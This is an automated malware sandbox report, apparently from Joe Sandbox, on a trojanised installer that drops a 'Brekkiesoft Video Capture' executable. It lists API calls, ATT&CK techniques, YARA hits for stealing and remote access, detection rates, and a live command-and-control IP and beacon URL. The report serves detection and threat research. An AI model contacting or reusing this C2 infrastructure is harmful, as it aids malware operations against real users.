                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C7E860 cpuid 3_2_02C7E860
                    Source: C:\Users\user\Desktop\basx.exeCode function: GetLocaleInfoA,0_2_0040520C
                    Source: C:\Users\user\Desktop\basx.exeCode function: GetLocaleInfoA,0_2_00405258
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: GetLocaleInfoA,1_2_00408568
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: GetLocaleInfoA,1_2_004085B4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004585C8 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,1_2_004585C8
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_004026C4 GetSystemTime,0_2_004026C4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0045559C GetUserNameA,1_2_0045559C
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00405CF4 GetVersionExA,0_2_00405CF4

                    Stealing of Sensitive Information

                    barindex
                    Source: Yara matchFile source: 00000003.00000002.3384636010.0000000002753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: bsoftvideocapture33.exe PID: 5776, type: MEMORYSTR

                    Remote Access Functionality

                    barindex
                    Source: Yara matchFile source: 00000003.00000002.3384636010.0000000002753000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: bsoftvideocapture33.exe PID: 5776, type: MEMORYSTR
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609660FA sqlite3_finalize,sqlite3_free,sqlite3_value_numeric_type,sqlite3_value_numeric_type,sqlite3_value_text,sqlite3_value_int,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_mprintf,sqlite3_malloc,sqlite3_free,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,3_2_609660FA
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6090C1D6 sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,3_2_6090C1D6
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60963143 sqlite3_stricmp,sqlite3_bind_int64,sqlite3_mutex_leave,3_2_60963143
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096A2BD sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,3_2_6096A2BD
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096923E sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_malloc,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_realloc,sqlite3_realloc,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,3_2_6096923E
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096A38C sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,3_2_6096A38C
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096748C sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_reset,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_bind_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_reset,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_realloc,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,3_2_6096748C
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609254B1 sqlite3_bind_zeroblob,sqlite3_mutex_leave,3_2_609254B1
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094B407 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,3_2_6094B407
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6090F435 sqlite3_bind_parameter_index,3_2_6090F435
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609255D4 sqlite3_mutex_leave,sqlite3_bind_text16,3_2_609255D4
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609255FF sqlite3_bind_text,3_2_609255FF
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096A5EE sqlite3_value_text,sqlite3_value_bytes,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_malloc,sqlite3_column_int,sqlite3_column_int64,sqlite3_column_text,sqlite3_column_bytes,sqlite3_finalize,sqlite3_step,sqlite3_free,sqlite3_finalize,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_column_int64,sqlite3_column_int,sqlite3_column_text,sqlite3_column_bytes,sqlite3_step,sqlite3_finalize,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_malloc,sqlite3_bind_null,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_value_text,sqlite3_value_bytes,sqlite3_free,3_2_6096A5EE
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094B54C sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,memmove,3_2_6094B54C
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60925686 sqlite3_bind_int64,sqlite3_mutex_leave,3_2_60925686
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094A6C5 sqlite3_bind_int64,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_malloc,sqlite3_reset,sqlite3_free,3_2_6094A6C5
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609256E5 sqlite3_bind_int,sqlite3_bind_int64,3_2_609256E5
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094B6ED sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,3_2_6094B6ED
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6092562A sqlite3_bind_blob,3_2_6092562A
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60925655 sqlite3_bind_null,sqlite3_mutex_leave,3_2_60925655
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094C64A sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,3_2_6094C64A
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_609687A7 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_column_int64,sqlite3_reset,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,3_2_609687A7
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095F7F7 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,3_2_6095F7F7
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6092570B sqlite3_bind_double,sqlite3_mutex_leave,3_2_6092570B
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095F772 sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,3_2_6095F772
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60925778 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,3_2_60925778
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6090577D sqlite3_bind_parameter_name,3_2_6090577D
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094B764 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,3_2_6094B764
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6090576B sqlite3_bind_parameter_count,3_2_6090576B
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094A894 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,3_2_6094A894
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095F883 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,3_2_6095F883
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094C8C2 sqlite3_value_int,sqlite3_value_int,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_null,sqlite3_bind_null,sqlite3_step,sqlite3_reset,3_2_6094C8C2
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096281E sqlite3_mprintf,sqlite3_vtab_config,sqlite3_malloc,sqlite3_mprintf,sqlite3_mprintf,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_exec,sqlite3_free,sqlite3_prepare_v2,sqlite3_bind_text,sqlite3_step,sqlite3_column_int64,sqlite3_finalize,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_errmsg,sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_free,sqlite3_declare_vtab,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,3_2_6096281E
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6096583A memcmp,sqlite3_realloc,qsort,sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_step,sqlite3_reset,3_2_6096583A
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095F9AD sqlite3_bind_int,sqlite3_step,sqlite3_column_type,sqlite3_reset,3_2_6095F9AD
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6094A92B sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,3_2_6094A92B
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6090EAE5 sqlite3_transfer_bindings,3_2_6090EAE5
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095FB98 sqlite3_value_int,sqlite3_bind_int,sqlite3_bind_value,sqlite3_step,sqlite3_reset,3_2_6095FB98
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095ECA6 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,3_2_6095ECA6
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095FCCE sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,3_2_6095FCCE
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095FDAE sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,3_2_6095FDAE
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60966DF1 sqlite3_value_text,sqlite3_mprintf,sqlite3_free,strcmp,sqlite3_free,sqlite3_malloc,sqlite3_bind_int64,sqlite3_step,sqlite3_column_type,sqlite3_reset,sqlite3_column_blob,sqlite3_reset,sqlite3_malloc,sqlite3_free,sqlite3_reset,sqlite3_result_error_code,sqlite3_result_blob,3_2_60966DF1
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_60969D75 sqlite3_bind_int,sqlite3_step,sqlite3_column_int,sqlite3_reset,3_2_60969D75
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_6095FFB2 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,3_2_6095FFB2
                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
                    Native API
                    1
                    DLL Side-Loading
                    1
                    Exploitation for Privilege Escalation
                    1
                    Deobfuscate/Decode Files or Information
                    1
                    Input Capture
                    1
                    System Time Discovery
                    Remote Services1
                    Archive Collected Data
                    2
                    Ingress Tool Transfer
                    Exfiltration Over Other Network Medium1
                    System Shutdown/Reboot
                    CredentialsDomainsDefault Accounts2
                    Command and Scripting Interpreter
                    5
                    Windows Service
                    1
                    DLL Side-Loading
                    3
                    Obfuscated Files or Information
                    LSASS Memory1
                    Account Discovery
                    Remote Desktop Protocol1
                    Input Capture
                    21
                    Encrypted Channel
                    Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain Accounts2
                    Service Execution
                    1
                    Bootkit
                    1
                    Access Token Manipulation
                    21
                    Software Packing
                    Security Account Manager2
                    File and Directory Discovery
                    SMB/Windows Admin SharesData from Network Shared Drive1
                    Non-Application Layer Protocol
                    Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook5
                    Windows Service
                    1
                    DLL Side-Loading
                    NTDS35
                    System Information Discovery
                    Distributed Component Object ModelInput Capture12
                    Application Layer Protocol
                    Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script2
                    Process Injection
                    1
                    Masquerading
                    LSA Secrets141
                    Security Software Discovery
                    SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
                    Virtualization/Sandbox Evasion
                    Cached Domain Credentials1
                    Process Discovery
                    VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                    Access Token Manipulation
                    DCSync21
                    Virtualization/Sandbox Evasion
                    Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job2
                    Process Injection
                    Proc Filesystem11
                    Application Window Discovery
                    Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                    Bootkit
                    /etc/passwd and /etc/shadow3
                    System Owner/User Discovery
                    Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                    IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
                    System Network Configuration Discovery
                    Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand
                    SourceDetectionScannerLabelLink
                    basx.exe47%ReversingLabsWin32.Trojan.Munp
                    SourceDetectionScannerLabelLink
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe100%Joe Sandbox ML
                    C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exe100%Joe Sandbox ML
                    C:\ProgramData\BrekkiesoftVideoCapture\BrekkiesoftVideoCapture.exe33%ReversingLabs
                    C:\ProgramData\BrekkiesoftVideoCapture\sqlite3.dll0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\LTDIS13n.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe33%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\gdiplus.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-359A6.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-40050.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-6NNVQ.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-H722N.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-KS9E4.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-U5A8T.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\is-VN1MK.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\ltkrn13n.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\msvcp71.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\msvcr71.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\sqlite3.dll (copy)0%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\uninstall\is-05H7T.tmp4%ReversingLabs
                    C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\uninstall\unins000.exe (copy)4%ReversingLabs
                    C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_iscrypt.dll0%ReversingLabs
                    C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_setup64.tmp0%ReversingLabs
                    C:\Users\user\AppData\Local\Temp\is-8UG9G.tmp\_isetup\_shfoldr.dll0%ReversingLabs
                    C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmp4%ReversingLabs
                    No Antivirus matches
                    No Antivirus matches
                    SourceDetectionScannerLabelLink
                    https://188.119.66.185/wr0%Avira URL Cloudsafe
                    https://188.119.66.185/ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c100%Avira URL Cloudmalware
                    https://188.119.66.185/$rm0%Avira URL Cloudsafe
                    https://188.119.66.185/00%Avira URL Cloudsafe
                    https://188.119.66.185/-rt0%Avira URL Cloudsafe
                    https://188.119.66.185/C0%Avira URL Cloudsafe
                    https://188.119.66.185/nr70%Avira URL Cloudsafe
                    https://188.119.66.185/z0%Avira URL Cloudsafe
                    https://188.119.66.185/90%Avira URL Cloudsafe
                    https://188.119.66.185/allowedCert_OS_10%Avira URL Cloudsafe
                    https://188.119.66.185/6r0%Avira URL Cloudsafe
                    https://188.119.66.185/405117-2476756634-1003w0%Avira URL Cloudsafe
                    No contacted domains info
                    NameMaliciousAntivirus DetectionReputation
                    https://188.119.66.185/ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368cfalse
                    • Avira URL Cloud: malware
                    unknown
                    NameSourceMaliciousAntivirus DetectionReputation
                    http://www.innosetup.com/basx.tmp, basx.tmp, 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-05H7T.tmp.1.dr, basx.tmp.0.drfalse
                      high
                      https://188.119.66.185/ographybsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpfalse
                        high
                        http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUbasx.exefalse
                          high
                          https://188.119.66.185/bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A51000.00000004.00000020.00020000.00000000.sdmpfalse
                            high
                            http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlinebasx.exefalse
                              high
                              https://188.119.66.185/wrbsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              unknown
                              https://188.119.66.185/$rmbsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              unknown
                              https://188.119.66.185/ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b325bsoftvideocapture33.exe, 00000003.00000002.3385203674.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003380000.00000004.00000020.00020000.00000000.sdmpfalse
                                high
                                https://188.119.66.185/allowedCert_OS_1bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                unknown
                                http://www.remobjects.com/psUbasx.exe, 00000000.00000003.2120059288.00000000020B8000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119540988.0000000002350000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-05H7T.tmp.1.dr, basx.tmp.0.drfalse
                                  high
                                  https://188.119.66.185/0bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  https://188.119.66.185/priseCertificatesbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpfalse
                                    high
                                    https://188.119.66.185/en-USbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpfalse
                                      high
                                      https://188.119.66.185/-rtbsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://188.119.66.185/zbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://188.119.66.185/9bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://188.119.66.185/rosoftbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpfalse
                                        high
                                        https://188.119.66.185/nr7bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        unknown
                                        https://188.119.66.185/en-GBbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpfalse
                                          high
                                          http://wonderwork.ucoz.com/basx.tmp, 00000001.00000002.3384557748.000000000598E000.00000004.00001000.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000000.2134454108.00000000004D4000.00000002.00000001.01000000.00000009.sdmp, bsoftvideocapture33.exe.1.dr, BrekkiesoftVideoCapture.exe.3.dr, is-2NU4B.tmp.1.drfalse
                                            high
                                            https://188.119.66.185/Cbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://188.119.66.185/405117-2476756634-1003wbsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            http://www.remobjects.com/psbasx.exe, 00000000.00000003.2120059288.00000000020B8000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119540988.0000000002350000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, basx.tmp, 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-05H7T.tmp.1.dr, basx.tmp.0.drfalse
                                              high
